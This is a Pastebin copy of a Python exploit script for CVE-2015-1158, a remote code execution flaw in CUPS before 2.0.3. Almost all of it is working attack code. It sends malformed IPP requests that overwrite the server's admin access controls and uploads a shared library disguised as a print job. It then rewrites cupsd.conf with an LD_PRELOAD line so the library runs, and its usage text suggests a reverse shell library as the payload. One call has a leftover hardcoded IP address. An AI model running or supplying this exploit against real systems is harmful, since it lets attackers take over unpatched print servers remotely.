Falcon-G21

CUPS < 2.0.3 - Remote Command Execution

Feb 5th, 2017
320
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 20.81 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution
  3. # Google Dork: n/a
  4. # Date: 2/2/17
  5. # Exploit Author: @0x00string
  6. # Vendor Homepage: cups.org
  7. # Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2
  8. # Version: <2.0.3
  9. # Tested on: Ubuntu 14/15
  10. # CVE : CVE-2015-1158
  11. import os, re, socket, random, time, getopt, sys
  12. from socket import *
  13. from struct import *
  14.  
  15. def banner():
  16.     print '''
  17.             lol ty google
  18.             0000000000000
  19.          0000000000000000000   00
  20.       00000000000000000000000000000
  21.      0000000000000000000000000000000
  22.    000000000             0000000000
  23.   00000000               0000000000
  24.  0000000                000000000000
  25. 0000000               000000000000000
  26. 000000              000000000  000000
  27. 0000000            000000000     000000
  28. 000000            000000000      000000
  29. 000000          000000000        000000
  30. 000000         00000000          000000
  31. 000000       000000000           000000
  32. 0000000    000000000            0000000
  33. 000000   000000000             000000
  34. 0000000000000000              0000000
  35.  0000000000000               0000000
  36.   00000000000              00000000
  37.   00000000000            000000000
  38.  0000000000000000000000000000000
  39.   00000000000000000000000000000
  40.     000  0000000000000000000
  41.             0000000000000
  42.              @0x00string
  43. github.com/0x00string/oldays/CVE-2015-1158.py
  44. '''
  45.  
  46. def usage ():
  47.     print   ("python script.py <args>\n"
  48.             "   -h, --help:             Show this message\n"
  49.             "   -a, --rhost:            Target IP address\n"
  50.             "   -b, --rport:            Target IPP service port\n"
  51.             "   -c, --lib               /path/to/payload.so\n"
  52.             "   -f, --stomp-only        Only stomp the ACL (no postex)\n"
  53.             "\n"
  54.             "Examples:\n"
  55.             "python script.py -a 10.10.10.10 -b 631 -f\n"
  56.             "python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\n")
  57.     exit()
  58.  
  59. def pretty (t, m):
  60.         if (t is "+"):
  61.                 print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n",
  62.         elif (t is "-"):
  63.                 print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n",
  64.         elif (t is "*"):
  65.                 print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n",
  66.         elif (t is "!"):
  67.                 print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n",
  68.  
  69. def createDump (input):
  70.         d, b, h = '', [], []
  71.         u = list(input)
  72.         for e in u:
  73.                 h.append(e.encode("hex"))
  74.                 if e == '0x0':
  75.                         b.append('0')
  76.                 elif 30 > ord(e) or ord(e) > 128:
  77.                         b.append('.')
  78.                 elif 30 < ord(e) or ord(e) < 128:
  79.                         b.append(e)
  80.  
  81.         i = 0
  82.         while i < len(h):
  83.                 if (len(h) - i ) >= 16:
  84.                         d += ' '.join(h[i:i+16])
  85.                         d += "         "
  86.                         d += ' '.join(b[i:i+16])
  87.                         d += "\n"
  88.                         i = i + 16
  89.                 else:
  90.                         d += ' '.join(h[i:(len(h) - 0 )])
  91.                         pad = len(' '.join(h[i:(len(h) - 0 )]))
  92.                         d += ' ' * (56 - pad)
  93.                         d += ' '.join(b[i:(len(h) - 0 )])
  94.                         d += "\n"
  95.                         i = i + len(h)
  96.  
  97.         return d
  98.  
  99. class tcpsock:
  100.     def __init__(self, sock=None):
  101.         if sock is None:
  102.             self.sock = socket(
  103.             AF_INET, SOCK_STREAM)
  104.             self.sock.settimeout(30)
  105.         else:
  106.             self.sock = sock
  107.     def connect(self, host, port):
  108.         self.sock.connect((host, int(port)))
  109.     def tx(self, msg):
  110.         self.sock.send(msg)
  111.     def rx(self):
  112.         tmp  = self.sock.recv(1024)
  113.         msg = ""
  114.         while tmp:
  115.             msg += tmp
  116.             tmp  = self.sock.recv(1024)
  117.         return msg
  118.  
  119. def txrx (ip, port, proto, txpacket):
  120.     if (proto is "tcp"):
  121.         sock = tcpsock()
  122.     elif (proto is "udp"):
  123.         sock = udpsock()
  124.     else:
  125.         return None
  126.     sock.connect(ip, port)
  127.     sock.tx(txpacket)
  128.     rxpacket = sock.rx()
  129.     return rxpacket
  130.  
  131. def locatePrinters(rhost, rport="631"):
  132.     request = ( "GET /printers HTTP/1.1\x0d\x0a"
  133.         "Host: " + rhost + ":" + rport + "\x0d\x0a"
  134.         "User-Agent: CUPS/2.0.2\x0d\x0a"
  135.         "Connection: Close\x0d\x0a"
  136.         "\x0d\x0a")
  137.     response = txrx(rhost, int(rport), "tcp", request)
  138.     if response is not None:
  139.         m = re.search('<TR><TD><A HREF="(.+)">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)
  140.         if m is not None:
  141.             printer = m.group(1)
  142.             pretty("+","printer found: " + printer)
  143.     else:
  144.         pretty("-","no printers")
  145.         exit(1)
  146.     return printer
  147.  
  148. def preparePayload(libpath):
  149.     with open(libpath, 'rb') as f:
  150.         payload = f.read()
  151.     if payload is not None:
  152.         pretty("*","Payload:\n" + createDump(payload))
  153.     else:
  154.         pretty("-","something went wrong")
  155.         usage()
  156.     return payload
  157.  
  158. def seedTarget(rhost, rport, printer, payload):
  159.     i = random.randint(1,3)
  160.     reqid = str(pack(">i",(i+2)))
  161.     reqid2 = str(pack(">i",(i+3)))
  162.     printer_uri = "ipp://" + rhost + ":" + str(rport) + printer
  163.  
  164.     create_job_packet = ("\x02\x00"
  165.                          "\x00\x05"+
  166.                          reqid+
  167.                          "\x01"
  168.                          "\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"
  169.                          "\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"
  170.                          "\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +
  171.                          "\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"
  172.                          "\x42"+"\x00\x08"+"job-name"+"\x00\x06"+"badlib"
  173.                          "\x02"
  174.                          "\x21"+"\x00\x06"+"copies"+"\x00\x04"+"\x00\x00\x00\x01"
  175.                          "\x23"+"\x00\x0a"+"finishings"+"\x00\x04"+"\x00\x00\x00\x03"
  176.                          "\x42"+"\x00\x10"+"job-cancel-after"+"\x00\x05"+"\x31\x30\x38\x30\x30"
  177.                          "\x44"+"\x00\x0e"+"job-hold-until"+"\x00\x0a"+"indefinite"
  178.                          "\x21"+"\x00\x0c"+"job-priority"+"\x00\x04"+"\x00\x00\x00\x32"
  179.                          "\x42"+"\x00\x0a"+"job-sheets"+"\x00\x04"+"none"+"\x42"+"\x00\x00\x00\x04"+"none"
  180.                          "\x21"+"\x00\x09"+"number-up"+"\x00\x04"+"\x00\x00\x00\x01"
  181.                          "\x03")
  182.     pretty("*","Sending createJob")
  183.  
  184.     http_header1 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"
  185.                         "Content-Type: application/ipp\x0d\x0a"
  186.                         "Host: " + rhost + ":" + str(rport) + "\x0d\x0a"
  187.                         "User-Agent: CUPS/2.0.2\x0d\x0a"
  188.                         "Connection: Close\x0d\x0a"
  189.                         "Content-Length: " + str(len(create_job_packet) + 0) + "\x0d\x0a"
  190.                         "\x0d\x0a")
  191.  
  192.     createJobRequest = http_header1 + create_job_packet
  193.     blah = txrx(rhost,int(rport),"tcp",createJobRequest)
  194.     if blah is not None:
  195.         m = re.search("ipp://" + rhost + ":" + str(rport) + "/jobs/(\d+)",blah)
  196.         if m is not None:
  197.             jobid = m.group(1)
  198.     else:
  199.         pretty("-","something went wrong");
  200.         exit()
  201.  
  202.     pretty("*","\n" + createDump(blah) + "\n")
  203.     pretty("*", "Sending sendJob")
  204.  
  205.     send_document_packet = ("\x02\x00"
  206.                             "\x00\x06"+
  207.                             reqid2+
  208.                             "\x01"
  209.                             "\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"
  210.                             "\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"
  211.                             "\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +
  212.                             "\x21"+"\x00\x06"+"job-id"+"\x00\x04"+ str(pack(">i", int(jobid))) +
  213.                             "\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"
  214.                             "\x42"+"\x00\x0d"+"document-name"+"\x00\x06"+"badlib"
  215.                             "\x49"+"\x00\x0f"+"document-format"+"\x00\x18"+"application/octet-stream"
  216.                             "\x22"+"\x00\x0d"+"last-document"+"\x00\x01"+"\x01"
  217.                             "\x03"+
  218.                             payload)
  219.  
  220.     http_header2 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"
  221.                         "Content-Type: application/ipp\x0d\x0a"
  222.                         "Host: " + rhost + ":" + str(rport) + "\x0d\x0a"
  223.                         "User-Agent: CUPS/2.0.2\x0d\x0a"
  224.                         "Connection: Close\x0d\x0a"
  225.                         "Content-Length: " + str(len(send_document_packet) + 0) + "\x0d\x0a"
  226.                         "\x0d\x0a")
  227.  
  228.     sendJobRequest = http_header2 + send_document_packet
  229.     blah2 = txrx("172.20.32.3",631,"tcp",sendJobRequest)
  230.     pretty("*","\n" + createDump(blah) + "\n")
  231.     pretty("*","job id: " + jobid)
  232.     return jobid
  233.  
  234. def stompACL(rhost, rport, printer):
  235.     i = random.randint(1,1024)
  236.     printer_url = "ipp://" + rhost + ":" + rport + printer
  237.  
  238.     admin_stomp = ("\x02\x00"      #   vers 2.0
  239.                 "\x00\x05"+     #   op id: Create Job (0x0005)
  240.                 str(pack(">i",(i+1)))+
  241.                 "\x01"      #   op attributes marker
  242.                 "\x47"      #   charset
  243.                 "\x00\x12"      #   name len: 18
  244.                 "attributes-charset"
  245.                 "\x00\x08"      #   val len: 8
  246.                 "us-ascii"
  247.                 "\x48"      #   natural language
  248.                 "\x00\x1b"      #   name len: 27
  249.                 "attributes-natural-language"
  250.                 "\x00\x06"      #   val len: 6
  251.                 "/admin"
  252.                 "\x45"      #   printer-uri
  253.                 "\x00\x0b"      #   name len 11
  254.                 "printer-uri" +
  255.                 str(pack(">h", len(printer_url))) + printer_url +
  256.                 "\x42"      #   name without lang
  257.                 "\x00\x14"      #   name len: 20
  258.                 "requesting-user-name"
  259.                 "\x00\x06"      #   val len: 6
  260.                 "/admin"
  261.                 "\x02"      #   job attrs marker
  262.                 "\x21"      #   integer
  263.                 "\x00\x06"      #   name len: 6
  264.                 "copies"
  265.                 "\x00\x04"      #   val len: 4
  266.                 "\x00\x00\x00\x01"  #   1
  267.                 "\x42"      #   name w/o lang
  268.                 "\x00\x19"      #   name len: 25
  269.                 "job-originating-host-name"
  270.                 "\x00\x0c"      #   val len: 12
  271.                 "AAAAAAAAAAAA"
  272.                 "\x42"      #   nwol
  273.                 "\x00\x00"      #   name len: 0
  274.                 "\x00\x0c"      #   val len: 12
  275.                 "AAAAAAAAAAAA"
  276.                 "\x42"      #   nwol
  277.                 "\x00\x00"      #   name len: 0
  278.                 "\x00\x0c"      #   val len: 12
  279.                 "AAAAAAAAAAAA"
  280.                 "\x42"      #   nwol
  281.                 "\x00\x00"      #   name len: 0
  282.                 "\x00\x0c"      #   val len: 12
  283.                 "AAAAAAAAAAAA"
  284.                 "\x42"      #   nwol
  285.                 "\x00\x00"      #   name len: 0
  286.                 "\x00\x0c"      #   val len: 12
  287.                 "AAAAAAAAAAAA"
  288.                 "\x42"      #   nwol
  289.                 "\x00\x00"      #   name len: 0
  290.                 "\x00\x0c"      #   val len: 12
  291.                 "AAAAAAAAAAAA"
  292.                 "\x42"      #   nwol
  293.                 "\x00\x00"      #   name len: 0
  294.                 "\x00\x0c"      #   val len: 12
  295.                 "AAAAAAAAAAAA"
  296.                 "\x42"      #   nwol
  297.                 "\x00\x00"      #   name len: 0
  298.                 "\x00\x0c"      #   val len: 12
  299.                 "AAAAAAAAAAAA"
  300.                 "\x42"      #   nwol
  301.                 "\x00\x00"      #   name len: 0
  302.                 "\x00\x0c"      #   val len: 12
  303.                 "AAAAAAAAAAAA"
  304.                 "\x42"      #   nwol
  305.                 "\x00\x00"      #   name len: 0
  306.                 "\x00\x0c"      #   val len: 12
  307.                 "AAAAAAAAAAAA"
  308.                 "\x42"      #   nwol
  309.                 "\x00\x00"      #   name len: 0
  310.                 "\x00\x0c"      #   val len: 12
  311.                 "AAAAAAAAAAAA"
  312.                 "\x42"      #   nwol
  313.                 "\x00\x00"      #   name len: 0
  314.                 "\x00\x0c"      #   val len: 12
  315.                 "AAAAAAAAAAAA"
  316.                 "\x36"      #   nwl
  317.                 "\x00\x00"      #   name len: 0
  318.                 "\x00\x16"      #   val len: 22
  319.                 "\x00\x06"      #   length
  320.                 "/admin"
  321.                 "\x00\x0c"
  322.                 "BBBBBBBBBBBB"
  323.                 "\x03")      #   end of attributes
  324.  
  325.     conf_stomp = ("\x02\x00"        #   vers 2.0
  326.                 "\x00\x05"+     #   op id: Create Job (0x0005)
  327.                 str(pack(">i",(i+2)))+
  328.                 "\x01"      #   op attributes marker
  329.                 "\x47"      #   charset
  330.                 "\x00\x12"      #   name len: 18
  331.                 "attributes-charset"
  332.                 "\x00\x08"      #   val len: 8
  333.                 "us-ascii"
  334.                 "\x48"      #   natural language
  335.                 "\x00\x1b"      #   name len: 27
  336.                 "attributes-natural-language"
  337.                 "\x00\x0b"      #   val len: 11
  338.                 "/admin/conf"
  339.                 "\x45"      #   printer-uri
  340.                 "\x00\x0b"      #   name len 11
  341.                 "printer-uri" +
  342.                 str(pack(">h", len(printer_url))) + printer_url +
  343.                 "\x42"      #   name without lang
  344.                 "\x00\x14"      #   name len: 20
  345.                 "requesting-user-name"
  346.                 "\x00\x0b"      #   val len: 11
  347.                 "/admin/conf"
  348.                 "\x02"      #   job attrs marker
  349.                 "\x21"      #   integer
  350.                 "\x00\x06"      #   name len: 6
  351.                 "copies"
  352.                 "\x00\x04"      #   val len: 4
  353.                 "\x00\x00\x00\x01"  #   1
  354.                 "\x42"      #   name w/o lang
  355.                 "\x00\x19"      #   name len: 25
  356.                 "job-originating-host-name"
  357.                 "\x00\x0c"      #   val len: 12
  358.                 "AAAAAAAAAAAA"
  359.                 "\x42"      #   nwol
  360.                 "\x00\x00"      #   name len: 0
  361.                 "\x00\x0c"      #   val len: 12
  362.                 "AAAAAAAAAAAA"
  363.                 "\x42"      #   nwol
  364.                 "\x00\x00"      #   name len: 0
  365.                 "\x00\x0c"      #   val len: 12
  366.                 "AAAAAAAAAAAA"
  367.                 "\x42"      #   nwol
  368.                 "\x00\x00"      #   name len: 0
  369.                 "\x00\x0c"      #   val len: 12
  370.                 "AAAAAAAAAAAA"
  371.                 "\x42"      #   nwol
  372.                 "\x00\x00"      #   name len: 0
  373.                 "\x00\x0c"      #   val len: 12
  374.                 "AAAAAAAAAAAA"
  375.                 "\x42"      #   nwol
  376.                 "\x00\x00"      #   name len: 0
  377.                 "\x00\x0c"      #   val len: 12
  378.                 "AAAAAAAAAAAA"
  379.                 "\x42"      #   nwol
  380.                 "\x00\x00"      #   name len: 0
  381.                 "\x00\x0c"      #   val len: 12
  382.                 "AAAAAAAAAAAA"
  383.                 "\x42"      #   nwol
  384.                 "\x00\x00"      #   name len: 0
  385.                 "\x00\x0c"      #   val len: 12
  386.                 "AAAAAAAAAAAA"
  387.                 "\x42"      #   nwol
  388.                 "\x00\x00"      #   name len: 0
  389.                 "\x00\x0c"      #   val len: 12
  390.                 "AAAAAAAAAAAA"
  391.                 "\x42"      #   nwol
  392.                 "\x00\x00"      #   name len: 0
  393.                 "\x00\x0c"      #   val len: 12
  394.                 "AAAAAAAAAAAA"
  395.                 "\x42"      #   nwol
  396.                 "\x00\x00"      #   name len: 0
  397.                 "\x00\x0c"      #   val len: 12
  398.                 "AAAAAAAAAAAA"
  399.                 "\x42"      #   nwol
  400.                 "\x00\x00"      #   name len: 0
  401.                 "\x00\x0c"      #   val len: 12
  402.                 "AAAAAAAAAAAA"
  403.                 "\x36"      #   nwl
  404.                 "\x00\x00"      #   name len: 0
  405.                 "\x00\x1b"      #   val len: 27
  406.                 "\x00\x0b"      #   length
  407.                 "/admin/conf"
  408.                 "\x00\x0c"
  409.                 "BBBBBBBBBBBB"
  410.                 "\x03")      #   end of attributes
  411.  
  412.     http_header1 = ("POST " + printer + " HTTP/1.1\x0d\x0a"
  413.                     "Content-Type: application/ipp\x0d\x0a"
  414.                     "Host: " + rhost + ":" + rport + "\x0d\x0a"
  415.                     "User-Agent: CUPS/2.0.2\x0d\x0a"
  416.                     "Connection: Close\x0d\x0a"
  417.                     "Content-Length: " + str(len(admin_stomp)) + "\x0d\x0a"
  418.                     "\x0d\x0a")
  419.  
  420.     http_header2 = ("POST " + printer + " HTTP/1.1\x0d\x0a"
  421.                     "Content-Type: application/ipp\x0d\x0a"
  422.                     "Host: " + rhost + ":" + rport + "\x0d\x0a"
  423.                     "User-Agent: CUPS/2.0.2\x0d\x0a"
  424.                     "Connection: Close\x0d\x0a"
  425.                     "Content-Length: " + str(len(conf_stomp)) + "\x0d\x0a"
  426.                     "\x0d\x0a")
  427.  
  428.     pretty("*","stomping ACL")
  429.     pretty("*",">:\n" + createDump(http_header1 + admin_stomp))
  430.     pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header1 + admin_stomp)))
  431.     time.sleep(1)
  432.     pretty("*",">:\n" + createDump(http_header2 + conf_stomp))
  433.     pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header2 + conf_stomp)))
  434.  
  435.     http_header_check = ("GET /admin HTTP/1.1\x0d\x0a"
  436.                         "Host: " + rhost + ":" + rport + "\x0d\x0a"
  437.                         "User-Agent: CUPS/2.0.2\x0d\x0a"
  438.                         "Connection: Close\x0d\x0a"
  439.                         "\x0d\x0a")
  440.     pretty("*","checking /admin")
  441.     pretty("*",">:\n" + createDump(http_header_check))
  442.     res = txrx(rhost,rport,"tcp",http_header_check)
  443.     pretty("*","<:\n" + createDump(res))
  444.     m = re.search('200 OK', res)
  445.     if m is not None:
  446.         pretty("+","ACL stomp successful")
  447.     else:
  448.         pretty("-","exploit failed")
  449.         exit(1)
  450.  
  451.  
  452. def getConfig(rhost, rport):
  453.     i = random.randint(1,1024)
  454.     original_config = ""
  455.     http_request = ("GET /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"
  456.                     "Host: " + rhost + ":" + rport + "\x0d\x0a"
  457.                     "User-Agent: CUPS/2.0.2\x0d\x0a"
  458.                     "Connection: Close\x0d\x0a"
  459.                     "\x0d\x0a")
  460.  
  461.     pretty("*","grabbing configuration file....")
  462.     res = txrx(rhost,rport,"tcp",http_request)
  463.     res_array = res.split("\x0d\x0a\x0d\x0a")
  464.     original_config = res_array[1]
  465.     pretty("*","config:\n" + original_config + "\n")
  466.     return original_config
  467.  
  468. def putConfig(rhost, rport, config):
  469.     http_request = ("PUT /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"
  470.                     "Content-Type: application/ipp\x0d\x0a"
  471.                     "Host: " + rhost + ":" + rport + "\x0d\x0a"
  472.                     "User-Agent: CUPS/2.0.2\x0d\x0a"
  473.                     "Connection: Keep-Alive\x0d\x0a"
  474.                     "Content-Length: " + str(len(config)) + "\x0d\x0a"
  475.                     "\x0d\x0a")
  476.     pretty("*","overwriting config...")
  477.     pretty("*",">:\n" + createDump(http_request + config))
  478.     pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_request + config)))
  479.  
  480. def poisonConfig(config, name):
  481.     config = config + "\x0a\x0aSetEnv LD_PRELOAD /var/spool/cups/d00" + name + "-001\x0a"
  482.     return config
  483.  
  484. def main():
  485.     rhost = None;
  486.     noshell = None;
  487.     options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:f:h:', ['rhost=','rport=','lib=','stomp-only','help',])
  488.     for opt, arg in options:
  489.         if opt in ('-h', '--help'):
  490.             usage()
  491.         elif opt in ('-a','--rhost'):
  492.             rhost = arg;
  493.         elif opt in ('-b','--rport'):
  494.             rport = arg;
  495.         elif opt in ('-c','--lib'):
  496.             libpath = arg;
  497.         elif opt in ('-f','--stomp-only'):
  498.             noshell = 1;
  499.     banner()
  500.     if rhost is None or rport is None:
  501.         usage()
  502.     pretty("*","locate available printer")
  503.     printer = locatePrinters(rhost, rport)
  504.     pretty("*","stomp ACL")
  505.     stompACL(rhost, rport, printer)
  506.     if (noshell is not None):
  507.         pretty("*","fin")
  508.         exit(0)
  509.     pretty("*","prepare payload")
  510.     payload = preparePayload(libpath)
  511.     pretty("*","spray payload")
  512.     jobid = seedTarget(rhost, rport, printer, payload)
  513.     pretty("*","grab original config")
  514.     OG_config = getConfig(rhost, rport)
  515.     pretty("*","generate poison config")
  516.     evil_config = poisonConfig(OG_config, jobid)
  517.     pretty("*","upload poison config")
  518.     putConfig(rhost, rport, evil_config)
  519.     pretty("*","fin")
  520.     exit(0);
  521.  
  522. if __name__ == "__main__":
  523.     main()
Advertisement
Add Comment
Please, Sign In to add comment